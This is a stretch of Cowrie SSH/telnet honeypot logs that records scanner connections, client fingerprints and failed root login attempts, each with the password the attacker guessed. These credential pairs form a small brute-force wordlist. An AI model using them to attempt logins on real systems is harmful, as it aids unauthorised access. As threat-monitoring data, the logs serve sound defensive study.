{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:14.950998Z","src_ip":"168.167.72.132","session":"421f98d4e2c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweasd123!","message":"login attempt [root/Qweasd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:15.963015Z","src_ip":"168.167.72.132","session":"421f98d4e2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:17.212898Z","src_ip":"168.167.72.132","session":"421f98d4e2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1157386302948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:22.439719Z","src_ip":"69.4.83.194","session":"6d9d312e9103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":40376,"dst_ip":"10.17.0.5","dst_port":23,"session":"145c4c07971b","protocol":"telnet","message":"New connection: 178.128.93.180:40376 (10.17.0.5:23) [session: 145c4c07971b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:24.016851Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":41952,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8bf955cb41d","protocol":"telnet","message":"New connection: 178.128.93.180:41952 (10.17.0.5:23) [session: d8bf955cb41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:27.406870Z"}
{"eventid":"cowrie.session.closed","duration":120.00411009788513,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:49.786387Z","src_ip":"180.235.129.180","session":"d62d2234d480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.11875319480896,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:53.135466Z","src_ip":"178.128.93.180","session":"145c4c07971b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":51248,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b05d6c31495","protocol":"telnet","message":"New connection: 79.139.59.21:51248 (159.203.135.109:23) [session: 1b05d6c31495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:05.966556Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":35320,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f14c2a240c","protocol":"telnet","message":"New connection: 178.128.93.180:35320 (10.17.0.5:23) [session: 71f14c2a240c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:25.647862Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35608,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f45351688ca","protocol":"ssh","message":"New connection: 103.122.221.179:35608 (10.17.0.5:22) [session: 8f45351688ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:28.211656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:28.220876Z","src_ip":"103.122.221.179","session":"8f45351688ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:28.495778Z","src_ip":"103.122.221.179","session":"8f45351688ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia6600","message":"login attempt [root/nokia6600] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:29.289755Z","src_ip":"103.122.221.179","session":"8f45351688ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:30.555951Z","src_ip":"103.122.221.179","session":"8f45351688ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.91292214393616,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:43.319672Z","src_ip":"178.128.93.180","session":"d8bf955cb41d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.98292922973633,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:49.949365Z","src_ip":"79.139.59.21","session":"1b05d6c31495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":53560,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa9c14c25a6c","protocol":"telnet","message":"New connection: 79.139.59.21:53560 (159.203.135.109:23) [session: aa9c14c25a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:53.057931Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42854,"dst_ip":"159.203.135.109","dst_port":23,"session":"48de668e7d22","protocol":"telnet","message":"New connection: 69.4.83.194:42854 (159.203.135.109:23) [session: 48de668e7d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:26:53.069899Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48454,"dst_ip":"159.203.135.109","dst_port":23,"session":"322838edf649","protocol":"telnet","message":"New connection: 69.4.83.194:48454 (159.203.135.109:23) [session: 322838edf649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:27:04.917454Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":54276,"dst_ip":"159.203.135.109","dst_port":23,"session":"160665e1b89d","protocol":"telnet","message":"New connection: 79.139.59.21:54276 (159.203.135.109:23) [session: 160665e1b89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:27:08.001980Z"}
{"eventid":"cowrie.session.closed","duration":31.352389335632324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:27:24.422174Z","src_ip":"69.4.83.194","session":"48de668e7d22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.77966356277466,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:27:37.837450Z","src_ip":"79.139.59.21","session":"aa9c14c25a6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":55704,"dst_ip":"159.203.135.109","dst_port":23,"session":"18ed74e5f743","protocol":"telnet","message":"New connection: 79.139.59.21:55704 (159.203.135.109:23) [session: 18ed74e5f743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:27:38.239964Z"}
{"eventid":"cowrie.session.closed","duration":35.8103609085083,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:27:40.727676Z","src_ip":"69.4.83.194","session":"322838edf649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":89.28761649131775,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:27:54.935358Z","src_ip":"178.128.93.180","session":"71f14c2a240c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.246079444885254,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:01.247934Z","src_ip":"79.139.59.21","session":"160665e1b89d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44048,"dst_ip":"159.203.135.109","dst_port":23,"session":"7574141c1b42","protocol":"telnet","message":"New connection: 69.4.83.194:44048 (159.203.135.109:23) [session: 7574141c1b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:06.759503Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":50654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9c28d141fbc","protocol":"telnet","message":"New connection: 178.128.93.180:50654 (10.17.0.5:23) [session: f9c28d141fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:12.138454Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49332,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bc84e55d59c","protocol":"ssh","message":"New connection: 109.237.96.109:49332 (10.17.0.5:22) [session: 8bc84e55d59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:18.765339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:18.769502Z","src_ip":"109.237.96.109","session":"8bc84e55d59c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:18.866518Z","src_ip":"109.237.96.109","session":"8bc84e55d59c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233qwe","message":"login attempt [root/112233qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:19.153586Z","src_ip":"109.237.96.109","session":"8bc84e55d59c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:20.250112Z","src_ip":"109.237.96.109","session":"8bc84e55d59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41672,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0a1b09b0dc0","protocol":"ssh","message":"New connection: 103.153.68.219:41672 (10.17.0.5:22) [session: b0a1b09b0dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:37.052526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:37.057642Z","src_ip":"103.153.68.219","session":"b0a1b09b0dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:37.311144Z","src_ip":"103.153.68.219","session":"b0a1b09b0dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":51342,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59389aa6e0e","protocol":"ssh","message":"New connection: 20.205.18.79:51342 (159.203.135.109:22) [session: b59389aa6e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:37.985344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:37.990241Z","src_ip":"20.205.18.79","session":"b59389aa6e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150388","message":"login attempt [root/150388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:38.071030Z","src_ip":"103.153.68.219","session":"b0a1b09b0dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:38.201024Z","src_ip":"20.205.18.79","session":"b59389aa6e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxASqw12","message":"login attempt [root/zxASqw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:39.077787Z","src_ip":"20.205.18.79","session":"b59389aa6e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:39.325703Z","src_ip":"103.153.68.219","session":"b0a1b09b0dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.1963632106781,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:39.955724Z","src_ip":"69.4.83.194","session":"7574141c1b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:40.290731Z","src_ip":"20.205.18.79","session":"b59389aa6e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":35200,"dst_ip":"10.17.0.5","dst_port":23,"session":"71d4936aa2d5","protocol":"telnet","message":"New connection: 178.128.93.180:35200 (10.17.0.5:23) [session: 71d4936aa2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:28:43.882143Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46176,"dst_ip":"159.203.135.109","dst_port":23,"session":"50db511c3e1f","protocol":"telnet","message":"New connection: 69.4.83.194:46176 (159.203.135.109:23) [session: 50db511c3e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:31.177530Z"}
{"eventid":"cowrie.session.closed","duration":80.59454345703125,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:32.732877Z","src_ip":"178.128.93.180","session":"f9c28d141fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00663733482361,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:38.246451Z","src_ip":"79.139.59.21","session":"18ed74e5f743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.209.82.184","src_port":59108,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d022ba4171","protocol":"ssh","message":"New connection: 58.209.82.184:59108 (10.17.0.5:22) [session: e9d022ba4171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:41.552941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:41.557812Z","src_ip":"58.209.82.184","session":"e9d022ba4171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:41.824735Z","src_ip":"58.209.82.184","session":"e9d022ba4171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kostas","message":"login attempt [root/kostas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:43.712909Z","src_ip":"58.209.82.184","session":"e9d022ba4171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":24232,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ed9a52fe436","protocol":"telnet","message":"New connection: 34.62.101.89:24232 (159.203.135.109:23) [session: 9ed9a52fe436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:54.012309Z"}
